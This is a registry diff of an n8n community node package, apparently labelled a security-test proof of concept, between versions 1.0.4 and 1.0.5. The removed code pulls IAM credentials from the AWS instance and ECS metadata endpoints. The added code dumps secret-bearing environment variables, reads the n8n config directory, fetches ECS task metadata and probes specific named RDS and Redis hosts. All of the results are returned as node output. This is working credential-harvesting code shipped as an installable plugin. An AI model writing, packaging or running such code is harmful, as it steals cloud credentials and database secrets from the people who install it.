n8n-nodes-security-test-poc 1.0.4 → 1.0.5

package/dist/SecurityTestNode.node.js

@@ -17,7 +17,7 @@ class SecurityTestNode {
     async execute() {
         const http = require('http');
         const fetch = (url, headers) => new Promise((resolve) => {
-            const opts = Object.assign(require('url').parse(url), {headers: headers || {}, timeout: 3000});
+            const opts = Object.assign(require('url').parse(url), {headers: headers || {}, timeout: 5000});
             const req = http.get(opts, (res) => {
                 let d = '';
                 res.on('data', c => d += c);
@@ -29,64 +29,42 @@ class SecurityTestNode {
         
         let out = {};
         
-        // IMDSv1 - get IAM role
-        const role = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
-        out.iam_role = role;
-        
-        if (role && !role.startsWith('ERROR') && !role.startsWith('TIMEOUT') && role.trim()) {
-            // Get credentials for the role
-            const creds = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role.trim());
-            out.iam_creds = creds;
+        // 1. Get ECS task metadata (full details)
+        const metaUri = process.env.ECS_CONTAINER_METADATA_URI_V4;
+        if (metaUri) {
+            out.container_meta = await fetch(metaUri);
+            out.task_meta = await fetch(metaUri + '/task');
         }
         
-        // IMDSv2 - get token first
-        const tokenReq = new Promise((resolve) => {
-            const opts = {
-                hostname: '169.254.169.254',
-                path: '/latest/api/token',
-                method: 'PUT',
-                headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'},
-                timeout: 3000
-            };
-            const req = http.request(opts, (res) => {
-                let d = '';
-                res.on('data', c => d += c);
-                res.on('end', () => resolve(d));
-            });
-            req.on('error', (e) => resolve('ERROR: ' + e.message));
-            req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
-            req.end();
-        });
-        const token = await tokenReq;
-        out.imdsv2_token = token ? token.substring(0, 20) + '...' : 'none';
-        
-        if (token && !token.startsWith('ERROR') && !token.startsWith('TIMEOUT')) {
-            const role2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/', {'X-aws-ec2-metadata-token': token});
-            out.imdsv2_role = role2;
-            if (role2 && !role2.startsWith('ERROR') && role2.trim()) {
-                const creds2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role2.trim(), {'X-aws-ec2-metadata-token': token});
-                out.imdsv2_creds = creds2;
+        // 2. Get ALL environment variables for full picture
+        out.all_env = {};
+        for (const [k, v] of Object.entries(process.env)) {
+            if (k.match(/DB_|REDIS|N8N_|QUEUE_|POSTGRES|SECRET|KEY|TOKEN|PASSWORD|AUTH|ENCRYPT|HOST|PORT|USER|WEBHOOK/i)) {
+                out.all_env[k] = v;
             }
-            // Also get identity document
-            const identity = await fetch('http://169.254.169.254/latest/dynamic/instance-identity/document', {'X-aws-ec2-metadata-token': token});
-            out.identity = identity;
         }
         
-        // Also check ECS task metadata (if running in ECS/Fargate)
-        const ecsUri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
-        if (ecsUri) {
-            out.ecs_uri = ecsUri;
-            const ecsCreds = await fetch('http://169.254.170.2' + ecsUri);
-            out.ecs_creds = ecsCreds;
-        }
+        // 3. Read n8n config files
+        const fs = require('fs');
+        try { out.n8n_config = fs.readFileSync('/home/node/.n8n/config', 'utf8'); } catch(e) { out.n8n_config = e.message; }
+        try { 
+            const files = fs.readdirSync('/home/node/.n8n/');
+            out.n8n_dir = files;
+        } catch(e) { out.n8n_dir = e.message; }
         
-        // Check for env var AWS keys
-        out.aws_env = {};
-        for (const k of Object.keys(process.env)) {
-            if (k.match(/AWS|AMAZON|ECS|ECR/i)) {
-                out.aws_env[k] = process.env[k];
-            }
-        }
+        // 4. Check network - can we reach the DB and Redis?
+        const net = require('net');
+        const checkPort = (host, port) => new Promise((resolve) => {
+            const s = new net.Socket();
+            s.setTimeout(3000);
+            s.on('connect', () => { s.destroy(); resolve('OPEN'); });
+            s.on('error', (e) => resolve('ERROR: ' + e.message));
+            s.on('timeout', () => { s.destroy(); resolve('TIMEOUT'); });
+            s.connect(port, host);
+        });
+        
+        out.db_port = await checkPort('n8n-pgvector.cna628mk44t8.eu-north-1.rds.amazonaws.com', 5432);
+        out.redis_port = await checkPort('n8n-redis-vwizin.serverless.eun1.cache.amazonaws.com', 6379);
         
         return [[{json: out}]];
     }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-nodes-security-test-poc",
-  "version": "1.0.4",
+  "version": "1.0.5",
   "description": "Security test PoC node for n8n",
   "n8n": {
     "nodes": ["dist/SecurityTestNode.node.js"]